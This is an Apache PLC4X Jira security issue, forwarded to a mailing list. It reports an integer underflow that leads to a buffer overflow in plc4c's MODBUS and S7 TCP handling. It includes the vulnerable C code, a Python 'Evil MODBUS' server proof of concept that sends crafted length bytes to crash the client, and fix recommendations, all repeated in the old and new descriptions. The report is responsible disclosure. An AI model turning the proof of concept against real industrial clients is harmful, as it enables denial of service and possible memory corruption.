You are viewing a plain text version of this content. The canonical link for it is here.
Posted to issues@plc4x.apache.org by "Eugene Lim (Jira)" <ji...@apache.org> on 2021/10/28 13:58:00 UTC

[jira] [Updated] (PLC4X-320) [Security Vulnerability] Apache PLC4X 0.90 Buffer Overflow in plc4c via Crafted Server Response

     [ https://issues.apache.org/jira/browse/PLC4X-320?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Eugene Lim updated PLC4X-320:
-----------------------------
    Description: 
h2. Summary

The `plc4c_transport_tcp_select_message_function` method in `plc4c` suffers from an unsigned integer underflow, resulting in an overly-large `recv` into a fixed buffer that causes a buffer overflow and overwrites arbitrary memory,
h2. Root Cause

`plc4c` uses the `plc4c_transport_tcp_select_message_function` function to read incoming responses from servers. It calculates a `int16_t message_size` based on the selected protocol's `accept_message` handler, then allocates memory of size `message_size`. It then `recv`s `message_size - min_size` bytes of memory into the allocated memory. Due to lack of validation, `min_size` can be larger than `message_size`, leading to an unsigned integer underflow that causes an overly-large memory write into the buffer. This affects both the MODBUS and S7 handlers.

For example, the MODBUS `plc4c_driver_modbus_receive_packet` function executes:
{code:java}
plc4c_return_code return_code = connection->transport->select_message(
 connection->transport_configuration, 6,
 plc4c_driver_modbus_select_message_function, &read_buffer);{code}
 

 

This passes on the argument `min_size = 6` to:
{code:java}
plc4c_return_code plc4c_transport_tcp_select_message_function(
 void* transport_configuration, uint8_t min_size,
 accept_message_function accept_message, plc4c_spi_read_buffer** message) {
plc4c_transport_tcp_config* tcp_config = transport_configuration;
// First try to read the minimum number of bytes the driver needs to know
 // how big a packet is.
 uint8_t* size_buffer = malloc(sizeof(uint8_t) * min_size);
 if(size_buffer == NULL)
{ return NO_MEMORY; }
 int received_bytes = recv(tcp_config->sockfd, size_buffer, min_size, 0);
 // TODO: if the value is negative, it's more a "please remove this much of corrupt data" ...
 if(received_bytes < 0) { return CONNECTION_ERROR; }
 
 // Now that we have enough data to find out how many bytes we need, have
 // the accept_message function find out how many
 int16_t message_size = accept_message(size_buffer, min_size);
 if(message_size < 0) { return INTERNAL_ERROR; }
 uint8_t* message_buffer = malloc(sizeof(uint8_t) * message_size);
 if(message_size < 0) { return NO_MEMORY; }
// Copy the size_buffer to the start of the new buffer.
 memcpy(message_buffer, size_buffer, min_size);
 free(size_buffer);
// Read the rest of the packet.
 received_bytes = recv(tcp_config->sockfd, message_buffer + min_size, message_size - min_size, 0);
 if(received_bytes != message_size - min_size)
{ return CONNECTION_ERROR; }
// Create a new read-buffer with the read message data.
 plc4c_spi_read_buffer_create(message_buffer, message_size, message);
 // TODO: leaks: message_buffer
 return OK;
 }
{code}
 

For MODBUS, `plc4c_driver_modbus_select_message_function` simply returns an `int16_t` value from the first 6 bytes of the server's response:
{code:java}
int16_t plc4c_driver_modbus_select_message_function(uint8_t* buffer_data,
 uint16_t buffer_length) {
 // The length information is located in bytes 5 and 6
 if (buffer_length >= 6)
{ uint16_t packet_length = ((uint16_t)*(buffer_data + 4) << 8) | ((uint16_t)*(buffer_data + 5)); packet_length += 6; return packet_length; }
// In all other cases, we'll just have to wait for the next time.
 return 0;
 } 
{code}
In this case, if the first 6 bytes are `b'\xff\xff\xff\xff\xff\xfb'`, the conversion from `uint16_t packet_length` to `int16_t message_size` results in a value of `1`.

Since `min_size` is fixed at `6`, `message_size - min_size` underflows to `4294967291`, while the `message_buffer` that is allocated is only of size `1`. The following `recv(tcp_config->sockfd, message_buffer + min_size, message_size - min_size, 0);` results in the buffer overflow.
h2. Proof of Concept

To reproduce this vulnerability, run the following Python script to start an "Evil MODBUS" server:
{code:java}
import socket
 from struct import pack, unpack
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.bind(('localhost', 502))
 s.listen()
conn, addr = s.accept()
with conn:
 print('Connected by', addr)
data = conn.recv(1024) 
 print("Received: {}".format(data))
conn.send(b'\xff\xff\xff\xff\xff\xfb' + b'A' * 50000)
data = conn.recv(1024) 
 print("Received: {}".format(data))
input("Press Enter to close socket...")
 conn.close()
{code}
Once started, modify the `hello_world_modbus.c` code to use `127.0.0.1` in the `plc4c_system_connect` function. Build the binary, then execute it. It should connect to your evil server and trigger the overflow, resulting in a `malloc(): corrupted top size` segfault, thus demonstrating the buffer overflow.
h2. Recommendations

Add proper type conversions between `packet_length` and `message_size`; instead of `int16_t` perhaps `message_size` should be `uint16_t`. Furthermore, add a sanity check that `message_size >= min_size`.
h2. Credits

Please credit Eugene Lim, Government Technology Agency of Singapore. Thank you!

  was:
## Summary

The `plc4c_transport_tcp_select_message_function` method in `plc4c` suffers from an unsigned integer underflow, resulting in an overly-large `recv` into a fixed buffer that causes a buffer overflow and overwrites arbitrary memory.

## Root Cause

`plc4c` uses the `plc4c_transport_tcp_select_message_function` function to read incoming responses from servers. It calculates a `int16_t message_size` based on the selected protocol's `accept_message` handler, then allocates memory of size `message_size`. It then `recv`s `message_size - min_size` bytes of memory into the allocated memory. Due to lack of validation, `min_size` can be larger than `message_size`, leading to an unsigned integer underflow that causes an overly-large memory write into the buffer. This affects both the MODBUS and S7 handlers.

For example, the MODBUS `plc4c_driver_modbus_receive_packet` function executes:

```
 plc4c_return_code return_code = connection->transport->select_message(
 connection->transport_configuration, 6,
 plc4c_driver_modbus_select_message_function, &read_buffer);
```

This passes on the argument `min_size = 6` to:

```
plc4c_return_code plc4c_transport_tcp_select_message_function(
 void* transport_configuration, uint8_t min_size,
 accept_message_function accept_message, plc4c_spi_read_buffer** message) {
 
 plc4c_transport_tcp_config* tcp_config = transport_configuration;

// First try to read the minimum number of bytes the driver needs to know
 // how big a packet is.
 uint8_t* size_buffer = malloc(sizeof(uint8_t) * min_size);
 if(size_buffer == NULL) {
 return NO_MEMORY;
 }
 int received_bytes = recv(tcp_config->sockfd, size_buffer, min_size, 0);
 // TODO: if the value is negative, it's more a "please remove this much of corrupt data" ...
 if(received_bytes < 0) {
 return CONNECTION_ERROR;
 }

// Now that we have enough data to find out how many bytes we need, have
 // the accept_message function find out how many
 int16_t message_size = accept_message(size_buffer, min_size);
 if(message_size < 0) {
 return INTERNAL_ERROR;
 }
 uint8_t* message_buffer = malloc(sizeof(uint8_t) * message_size);
 if(message_size < 0) {
 return NO_MEMORY;
 }

// Copy the size_buffer to the start of the new buffer.
 memcpy(message_buffer, size_buffer, min_size);
 free(size_buffer);

// Read the rest of the packet.
 received_bytes = recv(tcp_config->sockfd, message_buffer + min_size, message_size - min_size, 0);
 if(received_bytes != message_size - min_size) {
 return CONNECTION_ERROR;
 }

// Create a new read-buffer with the read message data.
 plc4c_spi_read_buffer_create(message_buffer, message_size, message);
 // TODO: leaks: message_buffer
 return OK;
}
```


For MODBUS, `plc4c_driver_modbus_select_message_function` simply returns an `int16_t` value from the first 6 bytes of the server's response:

```
int16_t plc4c_driver_modbus_select_message_function(uint8_t* buffer_data,
 uint16_t buffer_length) {
 // The length information is located in bytes 5 and 6
 if (buffer_length >= 6) {
 uint16_t packet_length =
 ((uint16_t)*(buffer_data + 4) << 8) | ((uint16_t)*(buffer_data + 5));
 packet_length += 6;
 return packet_length;
 }
 // In all other cases, we'll just have to wait for the next time.
 return 0;
}
```

In this case, if the first 6 bytes are `b'\xff\xff\xff\xff\xff\xfb'`, the conversion from `uint16_t packet_length` to `int16_t message_size` results in a value of `1`.

Since `min_size` is fixed at `6`, `message_size - min_size` underflows to `4294967291`, while the `message_buffer` that is allocated is only of size `1`. The following `recv(tcp_config->sockfd, message_buffer + min_size, message_size - min_size, 0);` results in the buffer overflow.


## Proof of Concept

To reproduce this vulnerability, run the following Python script to start an "Evil MODBUS" server:

```
import socket
from struct import pack, unpack

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 502))
s.listen()

conn, addr = s.accept()

with conn:
 print('Connected by', addr)

data = conn.recv(1024) 
 print("Received: {}".format(data))

conn.send(b'\xff\xff\xff\xff\xff\xfb' + b'A' * 50000)

data = conn.recv(1024) 
 print("Received: {}".format(data))

input("Press Enter to close socket...")
 conn.close()
```

Once started, modify the `hello_world_modbus.c` code to use `127.0.0.1` in the `plc4c_system_connect` function. Build the binary, then execute it. It should connect to your evil server and trigger the overflow, resulting in a `malloc(): corrupted top size` segfault, thus demonstrating the buffer overflow.

## Recommendations

Add proper type conversions between `packet_length` and `message_size`; instead of `int16_t` perhaps `message_size` should be `uint16_t`. Furthermore, add a sanity check that `message_size >= min_size`.

## Credits

Please credit Eugene Lim, Government Technology Agency of Singapore. Thank you!


> [Security Vulnerability] Apache PLC4X 0.90 Buffer Overflow in plc4c via Crafted Server Response
> -----------------------------------------------------------------------------------------------
>
>                 Key: PLC4X-320
>                 URL: https://issues.apache.org/jira/browse/PLC4X-320
>             Project: Apache PLC4X
>          Issue Type: Bug
>          Components: PLC4C
>    Affects Versions: 0.9.0
>            Reporter: Eugene Lim
>            Priority: Major
>              Labels: security
>         Attachments: poc.png
>
>
> h2. Summary
> The `plc4c_transport_tcp_select_message_function` method in `plc4c` suffers from an unsigned integer underflow, resulting in an overly-large `recv` into a fixed buffer that causes a buffer overflow and overwrites arbitrary memory,
> h2. Root Cause
> `plc4c` uses the `plc4c_transport_tcp_select_message_function` function to read incoming responses from servers. It calculates a `int16_t message_size` based on the selected protocol's `accept_message` handler, then allocates memory of size `message_size`. It then `recv`s `message_size - min_size` bytes of memory into the allocated memory. Due to lack of validation, `min_size` can be larger than `message_size`, leading to an unsigned integer underflow that causes an overly-large memory write into the buffer. This affects both the MODBUS and S7 handlers.
> For example, the MODBUS `plc4c_driver_modbus_receive_packet` function executes:
> {code:java}
> plc4c_return_code return_code = connection->transport->select_message(
>  connection->transport_configuration, 6,
>  plc4c_driver_modbus_select_message_function, &read_buffer);{code}
>  
>  
> This passes on the argument `min_size = 6` to:
> {code:java}
> plc4c_return_code plc4c_transport_tcp_select_message_function(
>  void* transport_configuration, uint8_t min_size,
>  accept_message_function accept_message, plc4c_spi_read_buffer** message) {
> plc4c_transport_tcp_config* tcp_config = transport_configuration;
> // First try to read the minimum number of bytes the driver needs to know
>  // how big a packet is.
>  uint8_t* size_buffer = malloc(sizeof(uint8_t) * min_size);
>  if(size_buffer == NULL)
> { return NO_MEMORY; }
>  int received_bytes = recv(tcp_config->sockfd, size_buffer, min_size, 0);
>  // TODO: if the value is negative, it's more a "please remove this much of corrupt data" ...
>  if(received_bytes < 0) { return CONNECTION_ERROR; }
>  
>  // Now that we have enough data to find out how many bytes we need, have
>  // the accept_message function find out how many
>  int16_t message_size = accept_message(size_buffer, min_size);
>  if(message_size < 0) { return INTERNAL_ERROR; }
>  uint8_t* message_buffer = malloc(sizeof(uint8_t) * message_size);
>  if(message_size < 0) { return NO_MEMORY; }
> // Copy the size_buffer to the start of the new buffer.
>  memcpy(message_buffer, size_buffer, min_size);
>  free(size_buffer);
> // Read the rest of the packet.
>  received_bytes = recv(tcp_config->sockfd, message_buffer + min_size, message_size - min_size, 0);
>  if(received_bytes != message_size - min_size)
> { return CONNECTION_ERROR; }
> // Create a new read-buffer with the read message data.
>  plc4c_spi_read_buffer_create(message_buffer, message_size, message);
>  // TODO: leaks: message_buffer
>  return OK;
>  }
> {code}
>  
> For MODBUS, `plc4c_driver_modbus_select_message_function` simply returns an `int16_t` value from the first 6 bytes of the server's response:
> {code:java}
> int16_t plc4c_driver_modbus_select_message_function(uint8_t* buffer_data,
>  uint16_t buffer_length) {
>  // The length information is located in bytes 5 and 6
>  if (buffer_length >= 6)
> { uint16_t packet_length = ((uint16_t)*(buffer_data + 4) << 8) | ((uint16_t)*(buffer_data + 5)); packet_length += 6; return packet_length; }
> // In all other cases, we'll just have to wait for the next time.
>  return 0;
>  } 
> {code}
> In this case, if the first 6 bytes are `b'\xff\xff\xff\xff\xff\xfb'`, the conversion from `uint16_t packet_length` to `int16_t message_size` results in a value of `1`.
> Since `min_size` is fixed at `6`, `message_size - min_size` underflows to `4294967291`, while the `message_buffer` that is allocated is only of size `1`. The following `recv(tcp_config->sockfd, message_buffer + min_size, message_size - min_size, 0);` results in the buffer overflow.
> h2. Proof of Concept
> To reproduce this vulnerability, run the following Python script to start an "Evil MODBUS" server:
> {code:java}
> import socket
>  from struct import pack, unpack
> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>  s.bind(('localhost', 502))
>  s.listen()
> conn, addr = s.accept()
> with conn:
>  print('Connected by', addr)
> data = conn.recv(1024) 
>  print("Received: {}".format(data))
> conn.send(b'\xff\xff\xff\xff\xff\xfb' + b'A' * 50000)
> data = conn.recv(1024) 
>  print("Received: {}".format(data))
> input("Press Enter to close socket...")
>  conn.close()
> {code}
> Once started, modify the `hello_world_modbus.c` code to use `127.0.0.1` in the `plc4c_system_connect` function. Build the binary, then execute it. It should connect to your evil server and trigger the overflow, resulting in a `malloc(): corrupted top size` segfault, thus demonstrating the buffer overflow.
> h2. Recommendations
> Add proper type conversions between `packet_length` and `message_size`; instead of `int16_t` perhaps `message_size` should be `uint16_t`. Furthermore, add a sanity check that `message_size >= min_size`.
> h2. Credits
> Please credit Eugene Lim, Government Technology Agency of Singapore. Thank you!



--
This message was sent by Atlassian Jira
(v8.3.4#803005)